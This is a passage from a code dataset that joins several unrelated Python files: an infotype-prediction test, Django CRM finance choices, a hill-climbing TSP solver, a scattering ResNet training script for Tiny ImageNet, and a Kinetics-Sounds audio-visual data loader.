column_info_list\n\n\ndef get_public_data_expected_output(public_data_list, infotypes_to_use):\n with open(os.path.join(input_jsons_dir, \"expected_infotypes_IDEAL.json\")) as file:\n expected_output_ideal = json.load(file)\n with open(\n os.path.join(input_jsons_dir, \"expected_infotypes_UNIT_TESTING.json\")\n ) as file:\n expected_output_unit_testing = json.load(file)\n with open(\n os.path.join(input_jsons_dir, \"expected_infotypes_confidence_slabs.json\")\n ) as file:\n expected_infotypes_confidence_slabs = json.load(file)\n\n for dataset in public_data_list.keys():\n for col in public_data_list[dataset].columns:\n if (col not in expected_output_ideal[dataset].keys()) or (\n expected_output_ideal[dataset][col] not in infotypes_to_use\n ):\n expected_output_ideal[dataset][col] = \"no_infotype\"\n\n if not expected_infotypes_confidence_slabs.get(dataset, None):\n expected_infotypes_confidence_slabs[dataset] = dict()\n if (col not in expected_infotypes_confidence_slabs[dataset].keys()) or (\n expected_output_ideal[dataset][col] not in infotypes_to_use\n ):\n expected_infotypes_confidence_slabs[dataset][col] = 0.0\n\n if col not in expected_output_unit_testing[dataset].keys():\n expected_output_unit_testing[dataset][col] = \"no_infotype\"\n\n return (\n expected_output_ideal,\n expected_output_unit_testing,\n expected_infotypes_confidence_slabs,\n )\n\n\ndef get_best_infotype_pred(\n public_data_list,\n confidence_threshold,\n expected_output_unit_testing,\n update_confidence_slabs_json=False,\n):\n with open(\n os.path.join(input_jsons_dir, \"expected_infotypes_confidence_slabs.json\")\n ) as filename:\n old_confidence_slabs = json.load(filename)\n column_info_list = populate_column_info_list(public_data_list)\n column_info_pred_list = predict_infotypes(\n column_info_list, confidence_threshold, input_dict, infotypes_to_use\n )\n public_data_predicted_infotype: Dict[str, dict] = dict()\n # get_thresholds_for_unit_test = dict()\n public_data_predicted_infotype_confidence: Dict[str, dict] = dict()\n for dataset in public_data_list.keys():\n public_data_predicted_infotype[dataset] = dict()\n if not old_confidence_slabs.get(dataset):\n old_confidence_slabs[dataset] = dict()\n public_data_predicted_infotype_confidence[dataset] = dict()\n for col in public_data_list[dataset].columns:\n for col_info in column_info_pred_list:\n if (\n col_info.metadata.name == col\n and col_info.metadata.dataset_name == dataset\n ):\n public_data_predicted_infotype[dataset][col] = \"no_infotype\"\n if (\n col_info.infotype_proposals\n and len(col_info.infotype_proposals) > 0\n ):\n highest_confidence_level: float = 0\n infotype_assigned = None\n for i in range(len(col_info.infotype_proposals)):\n if (\n col_info.infotype_proposals[i].confidence_level\n > highest_confidence_level\n ):\n # get_thresholds_for_unit_test[dataset][col] = col_info.infotype_proposals[i].confidence_level\n highest_confidence_level = col_info.infotype_proposals[\n i\n ].confidence_level\n infotype_assigned = col_info.infotype_proposals[\n i\n ].infotype\n if not old_confidence_slabs[dataset].get(col):\n old_confidence_slabs[dataset][col] = (\n np.floor(highest_confidence_level * 10) / 10\n )\n public_data_predicted_infotype[dataset][col] = infotype_assigned\n public_data_predicted_infotype_confidence[dataset][\n col\n ] = highest_confidence_level\n\n # TODO: what is the use of following condition?\n if expected_output_unit_testing[dataset][col] not in (\n infotypes_to_use + [\"no_infotype\"]\n ):\n expected_output_unit_testing[dataset][\n col\n ] = infotype_assigned\n else:\n if expected_output_unit_testing[dataset][col] not in (\n infotypes_to_use + [\"no_infotype\"]\n ):\n expected_output_unit_testing[dataset][col] = \"no_infotype\"\n public_data_predicted_infotype_confidence[dataset][col] = 0.0\n if update_confidence_slabs_json:\n with open(\n os.path.join(input_jsons_dir, \"expected_infotypes_confidence_slabs.json\"),\n \"w\",\n ) as filename:\n json.dump(old_confidence_slabs, filename, indent=4)\n return (\n public_data_predicted_infotype,\n expected_output_unit_testing,\n public_data_predicted_infotype_confidence,\n )\n\n\ndef get_pred_exp_infotype_mapping(\n public_data_predicted_infotype,\n public_data_expected_infotype,\n expected_infotypes_confidence_slabs,\n public_data_predicted_infotype_confidence,\n):\n mapping = []\n for dataset in public_data_predicted_infotype.keys():\n for col in public_data_predicted_infotype[dataset].keys():\n mapping.append(\n (\n dataset,\n col,\n public_data_predicted_infotype[dataset][col],\n public_data_expected_infotype[dataset][col],\n public_data_predicted_infotype_confidence[dataset][col],\n expected_infotypes_confidence_slabs[dataset][col],\n )\n )\n return mapping\n\n\ndef get_prediction_statistics(mapping, infotypes_to_use, confidence_threshold):\n infotypes_to_use.append(\"no_infotype\")\n all_infotypes = infotypes_to_use\n y_true = [s[3] for s in mapping]\n y_pred = [s[2] for s in mapping]\n prediction_stats = pd.DataFrame()\n prediction_stats[\"Infotype\"] = all_infotypes\n prediction_stats[\"Precision\"] = np.round(\n precision_score(y_true, y_pred, average=None, labels=all_infotypes), 2\n )\n prediction_stats[\"Recall\"] = np.round(\n recall_score(y_true, y_pred, average=None, labels=all_infotypes), 2\n )\n df_confusion_matrix = pd.DataFrame(\n confusion_matrix(y_true, y_pred, labels=all_infotypes),\n columns=[info + \"_predicted\" for info in all_infotypes],\n index=[info + \"_actual\" for info in all_infotypes],\n )\n logger.info(\"*************Prediction Statistics***************************\")\n logger.info(prediction_stats)\n logger.info(\"********************\")\n logger.info(df_confusion_matrix)\n prediction_stats.to_csv(\n f\"Prediction_statistics_{confidence_threshold}.csv\", index=False\n )\n df_confusion_matrix.to_csv(f\"confusion_matrix_{confidence_threshold}.csv\")\n\n\n# TODO: think of adding 'if __name__ == “main”' block for following executable code\n# if __name__ == '__main__':\nlogger.info(\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\nlogger.info(\"--------------------STARTING RUN-------------------- \")\nlogger.info(\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\nlogger.info(\n f\"Start Time ---> {datetime.now()}\",\n)\n\npublic_data_list = get_public_data(input_data_dir)\n(\n expected_output_ideal,\n expected_output_unit_testing,\n expected_infotypes_confidence_slabs,\n) = get_public_data_expected_output(public_data_list, infotypes_to_use)\n(\n public_data_predicted_infotype,\n expected_output_unit_testing,\n public_data_predicted_infotype_confidence,\n) = get_best_infotype_pred(\n public_data_list,\n confidence_threshold,\n expected_output_unit_testing,\n update_confidence_slabs_json,\n)\ninfotype_mapping_ideal = get_pred_exp_infotype_mapping(\n public_data_predicted_infotype,\n expected_output_ideal,\n expected_infotypes_confidence_slabs,\n public_data_predicted_infotype_confidence,\n)\ninfotype_mapping_unit_testing = get_pred_exp_infotype_mapping(\n public_data_predicted_infotype,\n expected_output_unit_testing,\n expected_infotypes_confidence_slabs,\n public_data_predicted_infotype_confidence,\n)\nget_prediction_statistics(\n infotype_mapping_ideal, infotypes_to_use, confidence_threshold\n)\n\n\n@pytest.mark.parametrize(\n \"dataset_name,column_name, predicted_output, expected_output,\"\n \"predicted_output_confidence, expected_confidence_slab\",\n [(a, b, c, d, e, f) for a, b, c, d, e, f in infotype_mapping_unit_testing],\n)\ndef test_public_datasets(\n dataset_name,\n column_name,\n predicted_output,\n expected_output,\n predicted_output_confidence,\n expected_confidence_slab,\n):\n assert (\n predicted_output == expected_output\n ), f\"Test1 failed for column '{column_name}' in {dataset_name}\"\n assert predicted_output_confidence >= expected_confidence_slab, (\n f\"Test2 failed for column '{column_name}' in \" f\"{dataset_name}\"\n )\n","repo_name":"acryldata/datahub-classify","sub_path":"datahub-classify/tests/test_infotype_predictor.py","file_name":"test_infotype_predictor.py","file_ext":"py","file_size_in_byte":12135,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"33608032363","text":"PRIVATE = \"PRIVATE\"\nPUBLIC = \"PUBLIC\"\nPRIVACY_CHOICES = (\n (PRIVATE, \"Приватный кошелек\"),\n (PUBLIC, \"Публичный кошелек\")\n)\n\n\nTRANSFER = \"TRANSFER\"\nDEPOSIT = \"DEPOSIT\"\nMETHOD_CHOICES = (\n (TRANSFER, \"Трансфер\"),\n (DEPOSIT, \"Пополнение\")\n)\n\n\nINCOME = 'INCOME'\nEXPENSE = 'EXPENSE'\nSTUDENT_PAYMENT = 'STUDENT'\nTRANSACTION_CHOICES = (\n (INCOME, 'Доход'),\n (EXPENSE, 'Расход'),\n (STUDENT_PAYMENT, 'Оплата студента'),\n)\n","repo_name":"edzen12/min_crm","sub_path":"backend/crm/apps/finances/choices.py","file_name":"choices.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23356603769","text":"import random\n\nfrom TSP_2.Graph import Graph\nfrom TSP_2.HillClimbing.Initializare import initializareFunctii\n\n\ndef all_pairs(size):\n r1 = list(range(1,size+1))\n r2 = list(range(1,size+1))\n random.shuffle(r1)\n random.shuffle(r2)\n for i in r1:\n for j in r2:\n yield (i,j)\n\n\ndef reversed_parts(tour):\n for i, j in all_pairs(len(tour)):\n if i != j:\n copy = tour[:]\n if i < j:\n copy[i:j + 1] = reversed(tour[i:j + 1])\n else:\n copy[i + 1:] = reversed(tour[:j])\n copy[:j] = reversed(tour[i + 1:])\n if copy != tour:\n yield copy\n\n\ndef hillclimb(maxIterations,funct):\n best = funct.init_random_tour()\n best_score = funct.objective_function(best)\n\n nriterations = 1\n while nriterations < maxIterations:\n move = False\n for next in reversed_parts(best):\n if nriterations >= maxIterations:\n break\n nriterations += 1\n next_score = funct.objective_function(next)\n if next_score > best_score:\n best = next\n best_score = next_score\n move = True\n break\n\n if not move:\n break #we couldn't find a better move\n\n return (nriterations,best_score,best)\n\n\n\n\n\ndef main():\n g = Graph()\n matrix = g.generare(\"date1.in\")\n funct = initializareFunctii(matrix,g.n)\n nriterations,best_score, best = hillclimb(10,funct)\n print(best)\n print(-best_score)\n\n\n\n\n\n\n\n\n\n\nmain()","repo_name":"AlexMihail/PersonalProjects","sub_path":"Artificial Intelligence/Genetic Algorithm and Hill Climbing for TSP/HillClimbing/MainHillClimbing.py","file_name":"MainHillClimbing.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37167779242","text":"import os\nimport numpy as np\nimport torch.utils.data as data\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim\nimport matplotlib.pyplot as plt\nfrom torchvision import datasets, transforms\nfrom kymatio.torch import Scattering2D\nimport kymatio.datasets as scattering_datasets\nimport argparse\nfrom torchsummary import summary\n\ndef conv3x3(in_planes, out_planes, stride=1):\n \"3x3 convolution with padding\"\n return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\n padding=1, bias=False)\n\n\nclass BasicBlock(nn.Module):\n def __init__(self, inplanes, planes, stride=1, downsample=None):\n super(BasicBlock, self).__init__()\n self.conv1 = conv3x3(inplanes, planes, stride)\n self.bn1 = nn.BatchNorm2d(planes)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = conv3x3(planes, planes)\n self.bn2 = nn.BatchNorm2d(planes)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out += residual\n out = self.relu(out)\n\n return out\n\n\nclass Scattering2dResNet(nn.Module):\n def __init__(self, in_channels, k=2, n=3, num_classes=200):\n super(Scattering2dResNet, self).__init__()\n self.inplanes = 16 * k\n self.ichannels = 16 * k\n self.K = in_channels\n self.init_conv = nn.Sequential(\n nn.BatchNorm2d(in_channels, eps=1e-5, affine=False),\n nn.Conv2d(in_channels, self.ichannels,\n kernel_size=3, stride=1, padding=1, bias=False),\n nn.BatchNorm2d(self.ichannels),\n nn.ReLU(True)\n )\n\n self.layer2 = self._make_layer(BasicBlock, 32 * k, n)\n self.layer3 = self._make_layer(BasicBlock, 64 * k, n)\n self.avgpool = nn.AdaptiveAvgPool2d(2)\n self.fc = nn.Linear(64 * k * 4, num_classes)\n\n def _make_layer(self, block, planes, blocks, stride=1):\n downsample = None\n if stride != 1 or self.inplanes != planes:\n downsample = nn.Sequential(\n nn.Conv2d(self.inplanes, planes,\n kernel_size=1, stride=stride, bias=False),\n nn.BatchNorm2d(planes),\n )\n layers = []\n layers.append(block(self.inplanes, planes, stride, downsample))\n self.inplanes = planes\n for i in range(1, blocks):\n layers.append(block(self.inplanes, planes))\n\n return nn.Sequential(*layers)\n\n def forward(self, x):\n x = x.view(x.size(0), self.K, 16, 16)\n x = self.init_conv(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.avgpool(x)\n x = x.view(x.size(0), -1)\n x = self.fc(x)\n return x\n\n\n\ndef train(model, device, train_loader, optimizer, epoch, scattering):\n model.train()\n for batch_idx, (data, target) in enumerate(train_loader):\n data, target = data.to(device), target.to(device)\n optimizer.zero_grad()\n output = model(scattering(data))\n loss = F.cross_entropy(output, target)\n loss.backward()\n optimizer.step()\n if batch_idx % 50 == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), loss.item()))\n\ndef model_test(model, device, test_loader, scattering):\n \"\"\"\n Attributes:\n model: Created ResNet model.\n device: Specifies to use gpu or cpu.\n test_loader: Test dataloader.\n scattering: Scattering operation.\n Returns:\n correct: Computed accuracy from validation dataset.\n test_loss: Computed loss from validation dataset.\n \"\"\"\n\n model.eval()\n # Define variables for loss and accuracy.\n test_loss = 0\n correct = 0\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n # Get scores as \"output\" from model.\n output = model(scattering(data))\n # Sum up batch loss.\n test_loss += F.cross_entropy(output, target, reduction='sum').item()\n # Get the index of the max log-probability.\n pred = output.max(1, keepdim=True)[1]\n # Compute accuracy.\n correct += pred.eq(target.view_as(pred)).sum().item()\n\n test_loss /= len(test_loader.dataset)\n print('\\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.2f}%)\\n'.format(\n test_loss, correct, len(test_loader.dataset),\n 100. * correct / len(test_loader.dataset)))\n return correct, test_loss\n\n\ndef model_test_with_train_dataset(model, device, train_loader, scattering):\n \"\"\"\n Attributes:\n model: Created ResNet model.\n device: Specifies to use gpu or cpu.\n train_loader: Train dataloader.\n scattering: Scattering operation.\n Returns:\n correct: Computed accuracy from train dataset.\n test_loss: Computed loss from train dataset.\n\n \"\"\"\n\n # Define variables for loss and accuracy.\n model.eval()\n test_loss = 0\n correct = 0\n with torch.no_grad():\n for data, target in train_loader:\n data, target = data.to(device), target.to(device)\n # Get scores as \"output\" from model.\n output = model(scattering(data))\n # Sum up batch loss.\n test_loss += F.cross_entropy(output, target, reduction='sum').item()\n # Get the index of the max log-probability.\n pred = output.max(1, keepdim=True)[1]\n # Compute accuracy.\n correct += pred.eq(target.view_as(pred)).sum().item()\n\n test_loss /= len(train_loader.dataset)\n print('\\nTrain set: Average loss: {:.4f}, Accuracy: {}/{} ({:.2f}%)\\n'.format(\n test_loss, correct, len(train_loader.dataset),\n 100. * correct / len(train_loader.dataset)))\n return correct, test_loss\n\ndef save_ckp(state, checkpoint_dir):\n \"\"\"\n This function created for save checkpoint file.\n Attributes:\n state: Checkpoint informations('epoch', 'state_dict', 'optimizer').\n checkpoint_dir: Path for saving model file.\n Returns:\n correct: Computed accuracy from train dataset.\n test_loss: Computed loss from train dataset.\n\n \"\"\"\n\n torch.save(state, checkpoint_dir)\n\n\ndef load_ckp(checkpoint_fpath, model, optimizer):\n \"\"\"\n This function created for load checkpoint file and continue\n training.\n Attributes:\n checkpoint_fpath: Pretrained model path.\n model: Pretrained model\n optimizer: Optimizer which used in pretrained model (SGD).\n Returns:\n model: Pretrained model.\n optimizer: Optimizer which has feature in pretrained model (SGD).\n checkpoint['epoch']: Epoch value in pretrained.\n \"\"\"\n\n checkpoint = torch.load(checkpoint_fpath)\n model.load_state_dict(checkpoint['state_dict'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n return model, optimizer, checkpoint['epoch']\nif __name__ == '__main__':\n\n \"\"\"Train a simple Hybrid Resnet Scattering + CNN model on Tiny ImageNet-200.\n \n \"\"\"\n parser = argparse.ArgumentParser(description='CIFAR scattering + hybrid examples')\n parser.add_argument('--mode', type=int, default=1,help='scattering 1st or 2nd order')\n parser.add_argument('--width', type=int, default=4,help='width factor for resnet')\n args = parser.parse_args()\n\n use_cuda = torch.cuda.is_available()\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\n if args.mode == 1:\n scattering = Scattering2D(J=2, shape=(64, 64), max_order=1)\n K = 17*3\n else:\n scattering = Scattering2D(J=2, shape=(32, 32))\n K = 81*3\n if use_cuda:\n scattering = scattering.cuda()\n\n\n\n\n model = Scattering2dResNet(K, args.width).to(device)\n summary(model,(3,17,16,16))\n\n # DataLoaders\n if use_cuda:\n num_workers = 4\n pin_memory = True\n else:\n num_workers = None\n pin_memory = False\n\n ROOT = 'Scattering/data-tiny'\n data_dir = os.path.join(ROOT, 'tiny-imagenet-200')\n train_dir = os.path.join(data_dir, 'train')\n val_dir = os.path.join(data_dir, 'val_prepared')\n means = [0.4802, 0.4481, 0.3975]\n stds = [0.2296, 0.2263, 0.2255]\n\n train_transforms = transforms.Compose([\n transforms.RandomRotation(5),\n transforms.RandomHorizontalFlip(),\n transforms.RandomCrop(64, 4),\n transforms.ToTensor(),\n transforms.Normalize(mean=means,\n std=stds)\n ])\n # Convert to tensor and normalize validation dataset.\n val_transforms = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(mean=means,\n std=stds)\n ])\n\n # Apply data transforms.\n train_data = datasets.ImageFolder(root=\"../Scattering/data-tiny/tiny-imagenet-200/train\",\n transform=train_transforms)\n val_data = datasets.ImageFolder(root=\"../Scattering/data-tiny/tiny-imagenet-200/val_prepared\",\n transform=val_transforms)\n\n BATCH_SIZE = 128\n train_iterator = data.DataLoader(train_data,\n shuffle=True,\n batch_size=BATCH_SIZE,\n num_workers=num_workers,\n pin_memory=pin_memory)\n\n val_iterator = data.DataLoader(val_data,\n batch_size=BATCH_SIZE,\n num_workers=num_workers,\n pin_memory=pin_memory\n )\n\n epoch_value = 15\n correct = np.zeros(epoch_value)\n test_loss = np.zeros(epoch_value)\n correct_intrain = np.zeros(epoch_value)\n test_loss_intrain = np.zeros(epoch_value)\n SAVE_PATH = \"../Scattering/Model_tiny_15epoch.pth\"\n # Optimizer\n lr = 0.1\n # optimizer = torch.optim.SGD(model.parameters(), lr=lr, momentum=0.9,\n # weight_decay=0.0005)\n # ckp_path = \"../Scattering/Model_tiny_15epoch_default.pth\"\n # model, optimizer, start_epoch = load_ckp(ckp_path, model, optimizer)\n for epoch in range(0, epoch_value):\n if epoch % 4 == 0:\n optimizer = torch.optim.SGD(model.parameters(), lr=lr, momentum=0.9,\n weight_decay=0.0005)\n lr *= 0.2\n\n\n train(model, device, train_iterator, optimizer, epoch + 1, scattering)\n checkpoint = {\n 'epoch': epoch + 1,\n 'state_dict': model.state_dict(),\n 'optimizer': optimizer.state_dict()\n }\n\n save_ckp(checkpoint, SAVE_PATH)\n correct[epoch], test_loss[epoch] = model_test(model, device, val_iterator, scattering)\n correct_intrain[epoch], test_loss_intrain[epoch] = model_test_with_train_dataset(model, device,\n train_iterator, scattering)\n\n # Create plots for loss visualization.\n fig, ax = plt.subplots(figsize=(14, 6), dpi=80)\n ax.plot(test_loss, 'b', label='loss in test dataset', linewidth=2)\n ax.plot(test_loss_intrain, 'r', label='loss in train dataset', linewidth=2)\n ax.set_title('Model loss', fontsize=16)\n ax.set_ylabel('Loss')\n ax.set_xlabel('Epoch')\n ax.legend(loc='upper right')\n plt.show()\n\n\n # Create plots for accuracy visualization.\n fig, ax = plt.subplots(figsize=(14, 6), dpi=80)\n ax.plot((correct // 100), 'b', label='accuracy in test dataset', linewidth=2)\n ax.plot((correct_intrain // 1000), 'r', label='accuracy in train dataset', linewidth=2)\n ax.set_title('Model accuracy', fontsize=16)\n ax.set_ylabel('Accuracy')\n ax.set_xlabel('Epoch')\n ax.legend(loc='upper right')\n plt.show()\n","repo_name":"selimceylan/Scattering_TinyImageNet-200","sub_path":"DefaultScatteringResNet.py","file_name":"DefaultScatteringResNet.py","file_ext":"py","file_size_in_byte":12176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39027529568","text":"import torch\nimport torchvision\nfrom pathlib import Path\n\nimport utils.logging as logging\nfrom data.build import DATASET_REGISTRY\nimport data.transform as transform\nimport data.utils as utils\n\n\nlogger = logging.get_logger(__name__)\n\n\n@DATASET_REGISTRY.register()\nclass KineticsSounds(torch.utils.data.Dataset):\n \"\"\"\n Kinetics-Sounds video loader. Construct the Kinetics-Sounds video loader,\n then sample audio/visual clips from the videos. For training and validation,\n multiple audio/visual clips are uniformly sampled from every video with\n audio/visual random transformations. For testing, multiple audio/visual\n clips are uniformaly sampled from every video with only uniform cropping.\n For uniform cropping, we take the left, center, and right crop\n if the width is larger than height, or take top, center, and\n bottom crop if the height is larger than the width.\n \"\"\"\n def __init__(self, cfg, mode):\n assert mode in [\n \"train\",\n \"val\",\n \"test\",\n ], \"Mode {} not suported for KineticsSounds\".format(mode)\n\n self.mode = mode\n self.cfg = cfg\n\n if self.mode in ['train', 'val']:\n self._num_clips = cfg.TRAIN.NUM_SAMPLES\n elif self.mode in ['test']:\n self._num_clips = (\n cfg.TEST.NUM_SAMPLES\n )\n assert cfg.TEST.NUM_SAMPLES == cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS, \\\n f\"test num samples {cfg.TEST.NUM_SAMPLES} must be #views {cfg.TEST.NUM_ENSEMBLE_VIEWS} x #crops {cfg.TEST.NUM_SPATIAL_CROPS}\"\n\n logger.info(f\"Constructin KineticsSounds mode {self.mode}\")\n self._construct_loader()\n\n def _construct_loader(self):\n \"\"\"\n Construct the video loader.\n \"\"\"\n mode = self.mode\n data_dir = Path(self.cfg.DATASET_DIR).joinpath(f\"{mode}\")\n\n self.idx2label = sorted(data_dir.iterdir())\n self.idx2label = [path.name for path in self.idx2label]\n self.label2idx = {label: idx for idx, label in enumerate(self.idx2label)}\n\n videos = sorted(data_dir.rglob(\"*.mp4\"))\n\n self._path_to_videos = []\n self._labels = []\n self._spatial_temporal_idx = []\n\n for video_idx, video_path in enumerate(videos):\n yid = video_path.stem\n path = str(video_path)\n label = self.label2idx[video_path.parent.name]\n if mode in [\"train\", \"val\"]:\n self._path_to_videos.append(path)\n self._labels.append(label)\n self._spatial_temporal_idx.append(list(range(self._num_clips)))\n elif mode in [\"test\"]:\n for idx in range(self.cfg.TEST.NUM_SPATIAL_CROPS):\n self._path_to_videos.append(path)\n self._labels.append(label)\n self._spatial_temporal_idx.append(\n [\n idx * self.cfg.TEST.NUM_ENSEMBLE_VIEWS + i\n for i in range(self.cfg.TEST.NUM_ENSEMBLE_VIEWS)\n ]\n )\n\n assert (\n len(self._path_to_videos) > 0\n ), \"Failed to load KineticsSounds mode {}\".format(\n self.mode,\n )\n logger.info(\n \"Constructing KineticsSounds dataloader (mode: {}, size: {})\".format(\n self.mode, len(self._path_to_videos),\n )\n )\n\n def __len__(self):\n \"\"\"\n Returns:\n (int): the number of videos in the dataset.\n \"\"\"\n return len(self._path_to_videos)\n\n def __getitem__(self, index):\n \"\"\"\n Given the video index, return the audio/visual sequence of clips,\n the list of labels and the list of video index.\n video index.\n args:\n index (int): the video index provided by the pytorch sampler.\n returns:\n visual_seq (tensor): a sequence of sampled visual clips.\n `sequence length` x `channel` x `num frames` x `height` x `width`.\n audio_seq (tensor): a sequence of log-mel-scaled spectrograms.\n `sequence length` x `channel` x `frequency` x `time`.\n (tensor): list of the label of the current video.\n (tensor): list of the index of the video.\n \"\"\"\n frames, waveform, info = torchvision.io.read_video(\n self._path_to_videos[index],\n pts_unit=\"sec\",\n )\n\n video_fps = round(info[\"video_fps\"])\n audio_fps = info[\"audio_fps\"]\n if self.mode in ['train', 'val']:\n temporal_sample_index = self._spatial_temporal_idx[index]\n # -1 indicates random sampling.\n spatial_sample_index = -1\n min_scale = self.cfg.DATA.TRAIN_JITTER_SCALES[0]\n max_scale = self.cfg.DATA.TRAIN_JITTER_SCALES[1]\n crop_size = self.cfg.DATA.TRAIN_CROP_SIZE\n num_samples = self._num_clips\n elif self.mode in ['test']:\n offset = self._spatial_temporal_idx[index][0]\n temporal_sample_index = [\n i - offset for i in self._spatial_temporal_idx[index]\n ]\n # spatial_sample_index is in [0, 1, 2]. Corresponding to left,\n # center, or right if width is larger than height, and top, middle,\n # or bottom if height is larger than width.\n spatial_sample_index = (\n self._spatial_temporal_idx[index][0]\n // self.cfg.TEST.NUM_ENSEMBLE_VIEWS\n )\n\n # The testing is deterministic and no jitter should be performed.\n # min_scale, max_scale, and crop_size are expect to be the same.\n min_scale, max_scale, crop_size = [self.cfg.DATA.TEST_CROP_SIZE] * 3\n assert len({min_scale, max_scale, crop_size}) == 1\n num_samples = self.cfg.TEST.NUM_ENSEMBLE_VIEWS\n else:\n raise NotImplementedError(\n \"Does not support {} mode\".format(self.mode)\n )\n\n # Adjust number of frames consdiering input video fps, taget fps and\n # frame sampling rate.\n _num_frames = (\n self.cfg.DATA.NUM_FRAMES *\n self.cfg.DATA.SAMPLING_RATE *\n video_fps /\n self.cfg.DATA.TARGET_FPS\n )\n # Compute audio waveform corresponding to the visual clip.\n waveform_size = int(\n self.cfg.DATA.TARGET_AUDIO_RATE *\n self.cfg.DATA.NUM_FRAMES *\n self.cfg.DATA.SAMPLING_RATE /\n self.cfg.DATA.TARGET_FPS\n )\n visual_delta = max(frames.size(0) - _num_frames, 0)\n visual_start_idx = [\n visual_delta * i / (num_samples - 1)\n for i in temporal_sample_index\n ]\n visual_end_idx = [s + _num_frames - 1 for s in visual_start_idx]\n\n label = self._labels[index]\n visual_seq = self.get_visual_seq(\n frames,\n visual_start_idx,\n visual_end_idx,\n min_scale,\n max_scale,\n crop_size,\n spatial_sample_index,\n )\n waveform = transform.resample(\n waveform,\n audio_fps,\n self.cfg.DATA.TARGET_AUDIO_RATE,\n use_mono=True,\n )\n audio_delta = max(waveform.size(-1) - waveform_size, 0)\n audio_start_idx = [\n int(audio_delta * (idx / visual_delta))\n for idx in visual_start_idx\n ]\n audio_end_idx = [s + waveform_size for s in audio_start_idx]\n audio_seq = self.get_audio_seq(\n waveform,\n audio_start_idx,\n audio_end_idx,\n True if self.mode in ['train'] else False,\n )\n _label = torch.LongTensor([label] * num_samples)\n _index = torch.LongTensor(\n [index * num_samples + i for i in range(num_samples)]\n )\n return visual_seq, audio_seq, _label, _index\n\n def get_visual_seq(\n self,\n frames,\n start_idx,\n end_idx,\n min_scale,\n max_scale,\n crop_size,\n spatial_sample_index,\n ):\n \"\"\"\n Sample a sequence of clips from the input video, and apply\n visual transformations.\n args:\n frames (tensor): a tensor of video frames, dimension is\n `num frames` x `height` x `width` x `channel`.\n start_idx (list): list of the index of the start frame of each clip.\n end_idx (list): list of the index of the end frame of each clip.\n min_scale (int): the minimal size of scaling.\n max_scale (int): the maximal size of scaling.\n crop_size (int): the size of height and width used to crop the\n frames.\n spatial_sample_index (int): if -1, perform random spatial sampling.\n If 0, 1, or 2, perform left, center, right crop if width is\n larger than height, and perform top, center, buttom crop if\n height is larger than width.\n returns:\n clip_seq (tensor): a sequence of sampled frames. The dimension is\n `sequence length` x `channel` x `num frames` x `height` x `width`.\n \"\"\"\n # Temporal sampling.\n clip_seq = []\n for s, e in zip(start_idx, end_idx):\n clip_seq.append(\n utils.temporal_sampling(\n frames,\n s,\n e,\n self.cfg.DATA.NUM_FRAMES,\n )\n )\n clip_seq = torch.stack(clip_seq, dim=0)\n\n # Convert frames of the uint type in the range [0, 255] to\n # a torch.FloatTensor in the range [0.0, 1.0]\n clip_seq = clip_seq.float()\n clip_seq = clip_seq / 255.0\n\n # S T H W C -> SxT C H W\n clip_seq = clip_seq.view(\n clip_seq.shape[0] * clip_seq.shape[1],\n clip_seq.shape[2],\n clip_seq.shape[3],\n clip_seq.shape[4],\n )\n clip_seq = clip_seq.permute(0, 3, 1, 2)\n # Visual transformations.\n clip_seq = utils.apply_visual_transform(\n self.cfg,\n clip_seq,\n spatial_idx=spatial_sample_index,\n min_scale=min_scale,\n max_scale=max_scale,\n crop_size=crop_size,\n )\n # SxT C H W -> S C T H W\n clip_seq = clip_seq.reshape(\n len(start_idx),\n self.cfg.DATA.NUM_FRAMES,\n clip_seq.shape[1],\n clip_seq.shape[2],\n clip_seq.shape[3],\n )\n clip_seq = clip_seq.transpose(1, 2).contiguous()\n clip_seq = [clip_seq]\n\n return clip_seq\n\n def get_audio_seq(\n self,\n waveform,\n start_idx,\n end_idx,\n apply_transform=False,\n ):\n \"\"\"\n Sample a sequence of clips from the input audio, and apply\n audio transformations.\n args:\n waveform (tensor): a tensor of audio waveform, dimension is\n `channel` x `time`.\n start_idx (list): list of the start index.\n end_idx (list): list of the end index (not inclusive).\n apply_transform (bool): whether to apply transformations.\n returns:\n (tensor): a sequence of log-mel-scaled spectrogram with dimension of\n `sequence length` x `channel` x `frequency` x `time`.\n \"\"\"\n audio_seq = []\n for s, e in zip(start_idx, end_idx):\n # Temporal sampling.\n waveform_view = waveform[:, s:e]\n # Convert it to log-mel-scaled spectrogram.\n log_mel_spectrogram = transform.get_log_mel_spectrogram(\n waveform_view,\n self.cfg.DATA.TARGET_AUDIO_RATE,\n self.cfg.DATA.AUDIO_FREQUENCY,\n self.cfg.DATA.AUDIO_TIME,\n )\n audio_seq.append(log_mel_spectrogram)\n # S x C x F x T\n audio_seq = torch.stack(audio_seq, dim=0)\n\n # Apply transformations.\n if apply_transform:\n audio_seq = utils.apply_audio_transform(\n audio_seq,\n 